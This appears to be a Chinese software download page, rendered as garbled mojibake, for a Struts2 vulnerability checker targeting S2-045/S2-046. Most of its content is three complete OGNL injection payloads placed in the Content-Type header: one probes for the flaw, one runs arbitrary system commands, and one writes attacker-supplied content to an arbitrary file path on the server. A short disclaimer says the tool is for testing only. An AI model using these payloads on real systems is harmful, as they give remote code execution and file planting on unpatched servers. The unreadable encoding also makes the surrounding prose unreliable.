Èí¼þ´óС£º8.82KB | Èí¼þÓïÑÔ£º¼òÌåÖÐÎÄ |
Èí¼þÊÚȨ£º¹Ù·½°æ | Èí¼þÀà±ð£ºÏµÍ³¼ì²â |
Èí¼þµÈ¼¶£º | ¸üÐÂʱ¼ä£º2017-08-31 |
Ó¦ÓÃƽ̨£º/Win8/Win7/WinXP |
- Èí¼þ½éÉÜ
- Èí¼þ½Øͼ
- Ïà¹ØÔĶÁ
- ÏÂÔصØÖ·
struts2©¶´¼ì²â¹¤¾ßÊÇ¿î·Ç³£ÓÅÐãµÄϵͳ©¶´¼ì²â¹¤¾ß¡£struts2©¶´¼ì²â¹¤¾ßÄܹ»°ïÖúÓû§¼ì²âÍøÂ硢ϵͳ¡¢Óʼþ¡¢·þÎñÆ÷µÄ©¶´£¬°ïÖúÓû§½µµÍºÍ»º½â©¶´ÓпÉÄÜÔì³ÉµÄÍþвºÍËðʧ£¬¶ÔÒÔ̽²âµÄ©¶´½øÐÐÐÞ¸´£¬ÓÐЧ·ÀÖ¹ºÚ¿Í¹¥»÷¡£
struts2©¶´¼ì²â¹¤¾ß¼ò½é£º
2017°æÔö¼ÓS2-046£¬¹Ù·½·¢²¼S2-046ºÍS2-045©¶´Òý·¢ÔÒòÒ»Ñù£¬Ö»ÊÇÀûÓ鶴µÄλÖ÷¢ÉúÁ˱仯£¬S2-046·½Ê½¿ÉÄÜÈƹý²¿·ÖWAF·À»¤£¬´æÔÚS2-045¾Í´æÔÚS2-046¡£µ±Struts2¿ªÆôdevModeģʽʱ£¬½«µ¼ÖÂÑÏÖØÔ¶³Ì´úÂëÖ´ÐЩ¶´¡£Èç¹ûWebServiceÆô¶¯È¨ÏÞΪ×î¸ßȨÏÞʱ£¬¿ÉÔ¶³ÌÖ´ÐÐÈÎÒâÃüÁ°üÀ¨¹Ø»ú¡¢½¨Á¢ÐÂÓû§¡¢ÒÔ¼°É¾³ý·þÎñÆ÷ÉÏËùÓÐÎļþµÈµÈ¡£
struts2©¶´¼ì²â¹¤¾ß¹¦ÄܽéÉÜ£º
1¡¢Ñé֤©¶´£¬ÐÞ¸ÄContent-Type£¬·µ»ØÄÚÈÝΪ¡°webpath¡±´ú±í´æÔÚ©¶´¡£
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).
(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}
2¡¢Ö´ÐÐÃüÁî
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new
java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).
(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).
(#res.getWriter().close()).(#s.close())}
3¡¢ÉÏ´«Îļþ£º
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new
java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).
(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).
(#res.getWriter().close())}
×¢ÒâÊÂÏî
´Ë¹¤¾ß½öΪ¸¨Öú²âÊÔʹÓã¬ÇëÎðÓÃÓÚ·Ç·¨ÓÃ;£¬·ñÔòºó¹û×Ô¸º¡£
Ïà¹ØÈí¼þ
- Pano2VRÈ«¾°Í¼ÖÆ×÷½Ì³Ì ÖÆ×÷360¶ÈÈ«¾°Ð§¹ûͼµÄ·½·¨
- Word±í¸ñ½ð¶îСд±ä´óд·½·¨ Á½ÖÖ·½·¨ÊµÏÖ
- ѹËõ±¦ÔõôʹÓà ¼¸¸ö²½ÖèÇáËÉѹ
- WordÎĵµÔõô²ð·Ö³É¶à¸öÎĵµ ¼¸¸ö²½Öè¾ÍÄܸ㶨
- ÕûºÏ£¡»ðɽСÊÓƵÉý¼¶Îª¶¶Òô»ðɽ°æ
- AutoCAD2020Ôõô»æÖÆÈý½ÇÐÎ Ìî³äÈý½ÇÐν̳Ì
- AutoCAD2020ÔõôÉèÖÃË«Ïß Ë«Ïß¾àÀëÉèÖý̳Ì
- °ÁÈí¿ÙͼÔõôÓà ¼¸¸ö²½ÖèÇáËÉ¿Ùͼ
- Word±í¸ñÔõô×Ô¶¯Ìî³ä Ò»¸öÉèÖø㶨
- ÈýÐÇ·¢²¼ÊúÆðÀ´·Å´ó°æ¡°ÊÖ»ú¡±£ºÕâ¿îÐýתµçÊÓÓÐÒâ˼